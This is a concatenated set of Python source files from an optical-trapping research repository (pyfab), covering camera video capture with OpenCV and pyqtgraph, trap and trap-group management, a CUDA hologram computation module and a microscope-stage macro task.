from collections import deque import importlib class taskmanager(object): def __init__(self, parent): self.parent = parent self.source = parent.screen.video self.task = None self.queue = deque() def handleTask(self, frame): if self.task is None: try: self.task = self.queue.popleft() except IndexError: self.source.sigNewFrame.disconnect(self.handleTask) return self.task.initialize() self.task.process(frame) if self.task.isDone(): self.task = None def registerTask(self, task, **kwargs): if isinstance(task, str): try: taskmodule = importlib.import_module('tasks.'+task) taskclass = getattr(taskmodule, task) task = taskclass(**kwargs) except ImportError: print('could not import '+task) return task.setParent(self.parent) self.queue.append(task) if self.task is None: self.source.sigNewFrame.connect(self.handleTask)
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,108
dalerxli/pyfab
refs/heads/master
/jansenlib/video/QVideoItem.py
#!/usr/bin/env python """QVideoItem.py: pyqtgraph module for OpenCV video camera.""" import cv2 import pyqtgraph as pg from pyqtgraph.Qt import QtCore import numpy as np from QCameraDevice import QCameraDevice def is_cv2(): return cv2.__version__.startswith("2.") class QVideoItem(pg.ImageItem): """Video source for pyqtgraph applications. Acts like an ImageItem that periodically polls a camera for updated video frames. """ sigNewFrame = QtCore.pyqtSignal(np.ndarray) def __init__(self, device=None, parent=None, mirrored=False, flipped=True, transposed=False, gray=False, **kwargs): pg.setConfigOptions(imageAxisOrder='row-major') super(QVideoItem, self).__init__(parent) if device is None: self.device = QCameraDevice(**kwargs).start() else: self.device = device.start() self.mirrored = bool(mirrored) self.flipped = bool(flipped) self.transposed = bool(transposed) self.gray = bool(gray) self._filters = list() self._shape = None self.updateImage() self._timer = QtCore.QTimer(self) self._timer.timeout.connect(self.updateImage) self._timer.setInterval(1000 / self.device.fps) self._timer.start() self.destroyed.connect(self.stop) def stop(self): self._timer.stop() self.device.stop() def close(self): self.stop() self.device.close() @QtCore.pyqtSlot() def updateImage(self): ready, image = self.device.read() if ready: if image.ndim == 3: image = cv2.cvtColor(image, self._conversion) if self.transposed: image = cv2.transpose(image) if self.flipped or self.mirrored: image = cv2.flip(image, self.mirrored * (1 - 2 * self.flipped)) for filter in self._filters: image = filter(image) self.setImage(image, autoLevels=False) self._shape = image.shape self.sigNewFrame.emit(image) def shape(self): return self._shape @property def paused(self): return not self._timer.isActive() @paused.setter def paused(self, p): if p: self._timer.stop() else: self._timer.start() @property def gray(self): if is_cv2(): return (self._conversion == cv2.cv.CV_BGR2GRAY) return (self._conversion == cv2.COLOR_BGR2GRAY) @gray.setter def gray(self, gray): if is_cv2(): if bool(gray): self._conversion = cv2.cv.CV_BGR2GRAY else: self._conversion = cv2.cv.CV_BGR2RGB else: if bool(gray): self._conversion = cv2.COLOR_BGR2GRAY else: self._conversion = cv2.COLOR_BGR2RGB def registerFilter(self, filter): self._filters.append(filter) def unregisterFilter(self, filter): if filter in self._filters: self._filters.remove(filter) class QVideoWidget(pg.PlotWidget): """Demonstration of how to embed a QVideoItem in a display widget, illustrating the correct shut-down procedure. The embedding widget must call QVideoItem.stop() when it closes, otherwise the application will hang. """ def __init__(self, cameraItem=None, **kwargs): super(QVideoWidget, self).__init__(**kwargs) self.setAttribute(QtCore.Qt.WA_DeleteOnClose, True) if cameraItem is None: self.source = QVideoItem(**kwargs) else: self.source = cameraItem self.addItem(self.source) self.setRange(self.source.device.roi, padding=0.) self.setAspectLocked(True) self.setMouseEnabled(x=False, y=False) def closeEvent(self, event): self.camera.close() def main(): import sys from PyQt4.QtGui import QApplication app = QApplication(sys.argv) camera = QCameraDevice(size=(640, 480)) video = QVideoItem(camera, gray=True) widget = QVideoWidget(video, background='w') widget.show() sys.exit(app.exec_()) if __name__ == '__main__': main()
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,109
dalerxli/pyfab
refs/heads/master
/common/clickable.py
from PyQt4 import QtCore def clickable(widget): class Filter(QtCore.QObject): clicked = QtCore.pyqtSignal() def eventFilter(self, obj, event): if obj == widget: if event.type() == QtCore.QEvent.MouseButtonRelease: if obj.rect().contains(event.pos()): self.clicked.emit() return True return False filter = Filter(widget) widget.installEventFilter(filter) return filter.clicked
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,110
dalerxli/pyfab
refs/heads/master
/pyfablib/traps/QTrapGroup.py
#!/usr/bin/env python """QTrapGroup.py: Container for optical traps.""" from pyqtgraph.Qt import QtCore from QTrap import QTrap class QTrapGroup(QtCore.QObject): def __init__(self, parent=None, name=None, active=True): super(QTrapGroup, self).__init__() self.parent = parent self.children = [] self.name = name self.active = active self.psi = None def add(self, child): """Add an object to the trap group. """ child.parent = self child.active = self.active self.children.append(child) if child.psi is not None: if self.psi is None: self.psi = child.psi else: self.psi += child.psi def remove(self, thischild, delete=False): """Remove an object from the trap group. If the group is now empty, remove it from its parent group """ self.psi = None if thischild in self.children: thischild.parent = None self.children.remove(thischild) if delete is True: thischild.deleteLater() else: for child in self.children: if isinstance(child, QTrapGroup): child.remove(thischild, delete=delete) if ((len(self.children) == 0) and isinstance(self.parent, QTrapGroup)): self.parent.remove(self) def deleteLater(self): for child in self.children: child.deleteLater() super(QTrapGroup, self).deleteLater() def _update(self): if self.active: self.parent._update() def count(self): """Return the number of items in the group. """ return len(self.children) def flatten(self): """Return a list of the traps in the group. """ traps = [] for child in self.children: if isinstance(child, QTrap): traps.append(child) else: traps.extend(child.flatten()) return traps def isWithin(self, rect): """Return True if the entire group lies within the specified rectangle. """ result = True for child in self.children: result = result and child.isWithin(rect) return result @property def state(self): """Current state of the children in the group. """ return self.children[0].state @state.setter def state(self, state): for child in self.children: child.state = state @property def active(self): return self._active @active.setter def active(self, active): for child in self.children: child.active = active self._active = active def moveBy(self, dr): """Translate traps in the group. """ self.active = False for child in self.children: child.moveBy(dr) self.active = True self._update()
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,111
dalerxli/pyfab
refs/heads/master
/pyfablib/traps/QTrappingPattern.py
#!/usr/bin/env python """QTrappingPattern.py: Interactive overlay for manipulating optical traps.""" import pyqtgraph as pg from pyqtgraph.Qt import QtGui, QtCore from QTrap import QTrap, state from QTrapGroup import QTrapGroup class QTrappingPattern(pg.ScatterPlotItem): """Interface between QJansenScreen GUI and CGH pipeline. Implements logic for manipulating traps. """ trapAdded = QtCore.pyqtSignal(QTrap) def __init__(self, parent=None, pipeline=None): super(QTrappingPattern, self).__init__() self.parent = parent self.pipeline = pipeline self.pattern = QTrapGroup(parent=self) self.parent.addOverlay(self) # Connect to signals coming from screen self.parent.sigMousePress.connect(self.mousePress) self.parent.sigMouseMove.connect(self.mouseMove) self.parent.sigMouseRelease.connect(self.mouseRelease) self.parent.sigMouseWheel.connect(self.mouseWheel) self.pipeline.sigComputing.connect(self.pauseSignals) # Rubberband selection self.selection = QtGui.QRubberBand( QtGui.QRubberBand.Rectangle, self.parent) self.origin = QtCore.QPoint() # traps, selected trap and active group self.trap = None self.group = None self.selected = [] def pauseSignals(self, pause): self.parent.emitSignals = not pause def _update(self, project=True): """Provide a list of spots to screen for plotting and optionally send trap data to CGH pipeline. This will be called by children when their properties change. Changes can be triggered by mouse events, by interaction with property widgets, or by direct programmatic control of traps or groups. """ traps = self.pattern.flatten() spots = [trap.spot for trap in traps] self.setData(spots=spots) if project and self.pipeline is not None: self.pipeline.traps = traps self.pipeline.compute() def dataCoords(self, pos): """Convert pixel position in screen widget to image coordinates. """ return self.mapFromScene(pos) def selectedPoint(self, position): points = self.pointsAt(position) if len(points) <= 0: return None index = self.points().tolist().index(points[0]) return index # Selecting traps and groups of traps def clickedTrap(self, pos): """Return the trap at the specified position """ coords = self.dataCoords(pos) index = self.selectedPoint(coords) if index is None: return None return self.pattern.flatten()[index] def groupOf(self, obj): """Return the highest-level group containing the specified object. """ if obj is None: return None while obj.parent is not self.pattern: obj = obj.parent return obj def clickedGroup(self, pos): """Return the highest-level group containing the trap at the specified position. """ self.trap = self.clickedTrap(pos) return self.groupOf(self.trap) def selectedTraps(self, region): """Return a list of traps whose groups fall entirely within the selection region. """ rect = self.dataCoords(QtCore.QRectF(region)).boundingRect() for child in self.pattern.children: if child.isWithin(rect): self.selected.append(child) child.state = state.grouping else: child.state = state.normal if len(self.selected) <= 1: self.selected = [] self._update(project=False) # Creating and deleting traps def createTrap(self, pos, update=True): trap = QTrap(r=self.dataCoords(pos), parent=self) self.pattern.add(trap) self.trapAdded.emit(trap) if update: self._update() def createTraps(self, coordinates): coords = list(coordinates) if len(coords) < 1: return group = QTrapGroup(active=False) self.pattern.add(group) for r in coords: trap = QTrap(r=r, parent=group, active=False) group.add(trap) self.trapAdded.emit(trap) group.active = True self._update() def clearTraps(self): """Remove all traps from trapping pattern. """ traps = self.pattern.flatten() for trap in traps: self.pattern.remove(trap, delete=True) self._update() # Creating, breaking and moving groups of traps def createGroup(self): """Combine selected objects into new group. """ if len(self.selected) == 0: return group = QTrapGroup() for trap in self.selected: if trap.parent is not self: trap.parent.remove(trap) group.add(trap) self.pattern.add(group) self.selected = [] def breakGroup(self): """Break group into children and place children in the top level. """ if isinstance(self.group, QTrapGroup): for child in self.group.children: child.state = state.grouping self.group.remove(child) self.pattern.add(child) def moveGroup(self, pos): """Move the selected group so that the selected trap is at the specified position. """ coords = self.dataCoords(pos) dr = QtGui.QVector3D(coords - self.trap.coords()) self.group.moveBy(dr) # Dispatch low-level events to actions def leftPress(self, pos, modifiers): """Selection and grouping. """ self.group = self.clickedGroup(pos) # update selection rectangle if self.group is None: self.origin = QtCore.QPoint(pos) rect = QtCore.QRect(self.origin, QtCore.QSize()) self.selection.setGeometry(rect) self.selection.show() # break selected group elif modifiers == QtCore.Qt.ControlModifier: self.breakGroup() # select group else: self.group.state = state.selected self._update(project=False) def rightPress(self, pos, modifiers): """Creation and destruction. """ # Shift-Right Click: Add trap if modifiers == QtCore.Qt.ShiftModifier: self.createTrap(pos) # Ctrl-Right Click: Delete trap elif modifiers == QtCore.Qt.ControlModifier: self.pattern.remove(self.clickedGroup(pos), delete=True) self._update() # Handlers for signals emitted by QJansenScreen @QtCore.pyqtSlot(QtGui.QMouseEvent) def mousePress(self, event): """Event handler for mousePress events. """ button = event.button() pos = event.pos() modifiers = event.modifiers() if button == QtCore.Qt.LeftButton: self.leftPress(pos, modifiers) elif button == QtCore.Qt.RightButton: self.rightPress(pos, modifiers) @QtCore.pyqtSlot(QtGui.QMouseEvent) def mouseMove(self, event): """Event handler for mouseMove events. """ pos = event.pos() # Move traps if self.group is not None: self.moveGroup(pos) # Update selection box elif self.selection.isVisible(): region = QtCore.QRect(self.origin, QtCore.QPoint(pos)).normalized() self.selection.setGeometry(region) self.selectedTraps(region) @QtCore.pyqtSlot(QtGui.QMouseEvent) def mouseRelease(self, event): """Event handler for mouseRelease events. """ self.createGroup() for child in self.pattern.children: child.state = state.normal self.group = None self.selection.hide() self._update(project=False) @QtCore.pyqtSlot(QtGui.QWheelEvent) def mouseWheel(self, event): """Event handler for mouse wheel events. """ pos = event.pos() group = self.clickedGroup(pos) if group is not None: group.state = state.selected dr = QtGui.QVector3D(0., 0., event.delta() / 120.) group.moveBy(dr) group.state = state.normal self.group = None
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,112
dalerxli/pyfab
refs/heads/master
/pyfablib/proscan/__init__.py
from pyproscan import pyproscan from QProscan import QProscan __all__ = ['pyproscan', 'QProscan']
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,113
dalerxli/pyfab
refs/heads/master
/pyfablib/CGH/cudaCGH.py
from CGH import CGH import pycuda.gpuarray as gpuarray import pycuda.autoinit import pycuda.cumath as cumath from pycuda.compiler import SourceModule import numpy as np class cudaCGH(CGH): def __init__(self, **kwargs): super(cudaCGH, self).__init__(**kwargs) self.init_cuda() def init_cuda(self): mod = SourceModule(""" #include <pycuda-complex.hpp> typedef pycuda::complex<float> pyComplex; __device__ float arctan(float y, float x){ const float ONEQTR_PI = 0.78539819; const float THRQTR_PI = 2.3561945; float r, angle; float abs_y = fabs(y) + 1e-10; if (x < 0.) { r = (x + abs_y) / (abs_y - x); angle = THRQTR_PI; } else { r = (x - abs_y) / (x + abs_y); angle = ONEQTR_PI; } angle += (0.1963 * r * r - 0.9817) * r; if (y < 0.) return(-angle); else return(angle); } __global__ void outertheta(float *x, \ float *y, \ float *out, \ int nx, int ny) { int i = threadIdx.x + blockDim.x * blockIdx.x; int j = threadIdx.y + blockDim.y * blockIdx.y; if (i < nx && j < ny) { out[i*ny + j] = arctan(y[i], x[i]); } } __global__ void outer(pyComplex *a, \ pyComplex *b, \ pyComplex *out, \ int nx, int ny) { pyComplex bj; for(int j = threadIdx.y + blockDim.y * blockIdx.y; \ j < ny; j += blockDim.y * gridDim.y) { bj = b[j]; for(int i = threadIdx.x + blockDim.x * blockIdx.x; \ i < nx; i += blockDim.x * gridDim.x) { out[i*ny + j] = a[i]*bj; } } } __global__ void phase(pyComplex *psi, \ unsigned char *out, \ int nx, int ny) { int i = threadIdx.x + blockDim.x * blockIdx.x; int j = threadIdx.y + blockDim.y * blockIdx.y; int n; float phi; const float RAD2BYTE = 40.743664; if (i < nx && j < ny){ n = i*ny + j; phi = RAD2BYTE * arg(psi[n]) + 127.; out[n] = (unsigned char) phi; } } """) self.outer = mod.get_function('outer') self.phase = mod.get_function('phase') self.outertheta = mod.get_function('outertheta') self.npts = np.int32(self.w * self.h) self.block = (16, 16, 1) dx, mx = divmod(self.w, self.block[0]) dy, my = divmod(self.h, self.block[1]) self.grid = ((dx + (mx > 0)) * self.block[0], (dy + (my > 0)) * self.block[1]) def quantize(self, psi): self.phase(psi, self._phi, np.int32(self.w), np.int32(self.h), block=self.block, grid=self.grid) self._phi.get(self.phi) return self.phi.T def compute_one(self, amp, r, buffer): cumath.exp(self.iqx * r.x() + self.iqxsq * r.z(), out=self._ex) cumath.exp(self.iqy * r.y() + self.iqysq * r.z(), out=self._ey) self._ex *= amp self.outer(self._ex, self._ey, buffer, np.int32(self.w), np.int32(self.h), block=self.block, grid=self.grid) def updateGeometry(self): shape = (self.w, self.h) self._psi = gpuarray.zeros(shape, dtype=np.complex64) self._phi = gpuarray.zeros(shape, dtype=np.uint8) self.phi = np.zeros(shape, dtype=np.uint8) self._ex = gpuarray.zeros(self.w, dtype=np.complex64) self._ey = gpuarray.zeros(self.h, dtype=np.complex64) qx = gpuarray.arange(self.w, dtype=np.float32).astype(np.complex64) qy = gpuarray.arange(self.h, dtype=np.float32).astype(np.complex64) qx = self.qpp * (qx - self.rs.x()) qy = self.alpha * self.qpp * (qy - self.rs.y()) self.iqx = 1j * qx self.iqy = 1j * qy self.iqxsq = 1j * qx * qx self.iqysq = 1j * qy * qy if __name__ == '__main__': from PyQt4.QtGui import QApplication import sys from QSLM import QSLM app = QApplication(sys.argv) slm = QSLM() cgh = cudaCGH(slm) sys.exit(app.exec_())
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,114
dalerxli/pyfab
refs/heads/master
/pyfablib/traps/QTrap.py
#!/usr/bin/env python """QTrap.py: Base class for an optical trap.""" import numpy as np import pyqtgraph as pg from pyqtgraph.Qt import QtCore, QtGui from enum import Enum class state(Enum): static = 0 normal = 1 selected = 2 grouping = 3 inactive = 4 class QTrap(QtCore.QObject): """A trap has physical properties, including three-dimensional position, relative amplitude and relative phase. It also has an appearance as presented on the QFabScreen. """ valueChanged = QtCore.pyqtSignal(QtCore.QObject) def __init__(self, parent=None, r=None, a=1., phi=None, psi=None, state=state.normal, active=True): super(QTrap, self).__init__() self.active = False # organization self.parent = parent # operational state self._state = state # appearance self.brush = {state.normal: pg.mkBrush(100, 255, 100, 120), state.selected: pg.mkBrush(255, 100, 100, 120), state.grouping: pg.mkBrush(255, 255, 100, 120), state.inactive: pg.mkBrush(0, 0, 255, 120)} self.spot = {'pos': QtCore.QPointF(), 'size': 10., 'pen': pg.mkPen('k', width=0.5), 'brush': self.brush[state], 'symbol': 'o'} # physical properties self.r = r self._a = a if phi is None: self.phi = np.random.uniform(low=0., high=2. * np.pi) else: self.phi = phi # structuring field self.psi = psi self.active = active def moveBy(self, dr): """Translate trap. """ self.r = self.r + dr def isWithin(self, rect): """Return True if this trap lies within the specified rectangle. """ return rect.contains(self.coords()) def _update(self): if self.active: self.parent._update() def update_spot(self): self.spot['pos'] = self.coords() self.spot['size'] = np.clip(10. + self.r.z() / 10., 5., 20.) def coords(self): """In-plane position of trap for plotting.""" return self._r.toPointF() @property def r(self): """Three-dimensional position of trap.""" return self._r @r.setter def r(self, r): active = self.active self.active = False self._r = QtGui.QVector3D(r) self.update_spot() self.valueChanged.emit(self) self.active = active self._update() def setX(self, x): self._r.setX(x) self.update_spot() self._update() def setY(self, y): self._r.setY(y) self.update_spot() self._update() def setZ(self, z): self._r.setZ(z) self.update_spot() self._update() def updateAmp(self): self.amp = self.a * np.exp(1j * self.phi) self._update() def setA(self, a): self._a = a self.updateAmp() @property def a(self): return self._a @a.setter def a(self, a): self.setA(a) self.valueChanged.emit(self) def setPhi(self, phi): self._phi = phi self.updateAmp() @property def phi(self): return self._phi @phi.setter def phi(self, phi): self.setPhi(phi) self.valueChanged.emit(self) @property def state(self): """Current state of trap """ return self._state @state.setter def state(self, state): if self.state is not state.static: self._state = state self.spot['brush'] = self.brush[state]
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,115
dalerxli/pyfab
refs/heads/master
/tasks/stagemacro.py
from task import task class stagemacro(task): def __init__(self, macro = None, **kwargs): super(stagemacro, self).__init__(**kwargs) self.macro = ['SOAK', 'GR,100,0,0', 'WAIT,100', 'GR,-100,0,0', 'WAIT,100', 'SOAK'] self.target = 5 def initialize(self): self.wstage = self.parent.wstage self.stage = self.wstage.instrument self.target = self.stage.position() for cmd in self.macro: self.stage.command(cmd) self.nframes = 1000 def doprocess(self, frame): if self.stage.available(): print(self.stage.readln()) self.nframes = 2
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,116
dalerxli/pyfab
refs/heads/master
/jansenlib/video/QCameraItem.py
#!/usr/bin/env python """QCameraItem.py: pyqtgraph module for OpenCV video camera.""" import cv2 import pyqtgraph as pg from pyqtgraph.Qt import QtCore from PyQt4.QtCore import Qt import numpy as np def is_cv2(): return cv2.__version__.startswith("2.") class QCameraThread(QtCore.QThread): """Grab frames as fast as possible in a separate thread to minimize latency for frame acquisition. """ def __init__(self, camera): super(QCameraThread, self).__init__() self.camera = camera self.keepGrabbing = True def __del__(self): self.wait() def run(self): while self.keepGrabbing: self.camera.grab() def stop(self): self.keepGrabbing = False class QCameraDevice(QtCore.QObject): """Low latency OpenCV camera intended to act as an image source for PyQt applications. """ _DEFAULT_FPS = 24 def __init__(self, cameraId=0, size=None, parent=None): super(QCameraDevice, self).__init__(parent) self.camera = cv2.VideoCapture(cameraId) self.thread = QCameraThread(self.camera) self.size = size # if is_cv2(): # self.fps = int(self.camera.get(cv2.cv.CV_CAP_PROP_FPS)) # else: # self.fps = int(self.camera.get(cv2.CAP_PROP_FPS)) self.fps = self._DEFAULT_FPS # Reduce latency by continuously grabbing frames in a background thread def start(self): self.thread.start() return self def stop(self): self.thread.stop() def close(self): self.stop() self.camera.release() # Read requests return the most recently grabbed frame def read(self): if self.thread.isRunning(): ready, frame = self.camera.retrieve() else: ready, frame = False, None return ready, frame @property def size(self): if is_cv2(): h = int(self.camera.get(cv2.cv.CV_CAP_PROP_FRAME_HEIGHT)) w = int(self.camera.get(cv2.cv.CV_CAP_PROP_FRAME_WIDTH)) else: h = int(self.camera.get(cv2.CAP_PROP_FRAME_HEIGHT)) w = int(self.camera.get(cv2.CAP_PROP_FRAME_WIDTH)) return QtCore.QSizeF(w, h) @size.setter def size(self, size): if size is None: return if is_cv2(): self.camera.set(cv2.cv.CV_CAP_PROP_FRAME_HEIGHT, size[1]) self.camera.set(cv2.cv.CV_CAP_PROP_FRAME_WIDTH, size[0]) else: self.camera.set(cv2.CAP_PROP_FRAME_HEIGHT, size[1]) self.camera.set(cv2.CAP_PROP_FRAME_WIDTH, size[0]) @property def fps(self): return self._fps @fps.setter def fps(self, fps): if (fps > 0): self._fps = fps else: self._fps = self._DEFAULT_FPS @property def roi(self): return QtCore.QRectF(0., 0., self.size.width(), self.size.height()) class QVideoItem(pg.ImageItem): """Video source for pyqtgraph applications. Acts like an ImageItem that periodically polls a camera for updated video frames. """ sigNewFrame = QtCore.pyqtSignal(np.ndarray) def __init__(self, device=None, parent=None, mirrored=True, flipped=True, transposed=False, gray=False, **kwargs): pg.setConfigOptions(imageAxisOrder='row-major') super(QVideoItem, self).__init__(parent) if device is None: self.device = QCameraDevice(**kwargs).start() else: self.device = device.start() self.mirrored = bool(mirrored) self.flipped = bool(flipped) self.transposed = bool(transposed) self.gray = bool(gray) self.updateImage() self._timer = QtCore.QTimer(self) self._timer.timeout.connect(self.updateImage) self._timer.setInterval(1000 / self.device.fps) self._timer.start() self.destroyed.connect(self.stop) @QtCore.pyqtSlot() def stop(self): self._timer.stop() self.device.stop() def close(self): self.stop() self.device.close() @QtCore.pyqtSlot() def updateImage(self): ready, image = self.device.read() if ready: image = cv2.cvtColor(image, self._conversion) if self.transposed: image = cv2.transpose(image) if self.flipped or self.mirrored: image = cv2.flip(image, self.flipped * (1 - 2 * self.mirrored)) self.setImage(image, autoLevels=False) self.sigNewFrame.emit(image) @property def paused(self): return not self._timer.isActive() @paused.setter def paused(self, p): if p: self._timer.stop() else: self._timer.start() @property def gray(self): if is_cv2(): return (self._conversion == cv2.cv.CV_BGR2GRAY) return (self._conversion == cv2.COLOR_BGR2GRAY) @gray.setter def gray(self, gray): if is_cv2(): if bool(gray): self._conversion = cv2.cv.CV_BGR2GRAY else: self._conversion = cv2.cv.CV_BGR2RGB else: if bool(gray): self._conversion = cv2.COLOR_BGR2GRAY else: self._conversion = cv2.COLOR_BGR2RGB class QVideoWidget(pg.PlotWidget): """Demonstration of how to embed a QVideoItem in a display widget, illustrating the correct shut-down procedure. The embedding widget must call QVideoItem.stop() when it closes, otherwise the application will hang. """ def __init__(self, cameraItem=None, **kwargs): super(QVideoWidget, self).__init__(**kwargs) self.setAttribute(Qt.WA_DeleteOnClose, True) if cameraItem is None: self.camera = QVideoItem(**kwargs) else: self.camera = cameraItem self.addItem(self.camera) self.setRange(self.camera.device.roi, padding=0.) self.setAspectLocked(True) self.setMouseEnabled(x=False, y=False) def closeEvent(self, event): self.camera.close() def main(): import sys from PyQt4.QtGui import QApplication app = QApplication(sys.argv) device = QCameraDevice(gray=True, size=(640, 480)) item = QVideoItem(device) widget = QVideoWidget(item, background='w') widget.show() sys.exit(app.exec_()) if __name__ == '__main__': main()
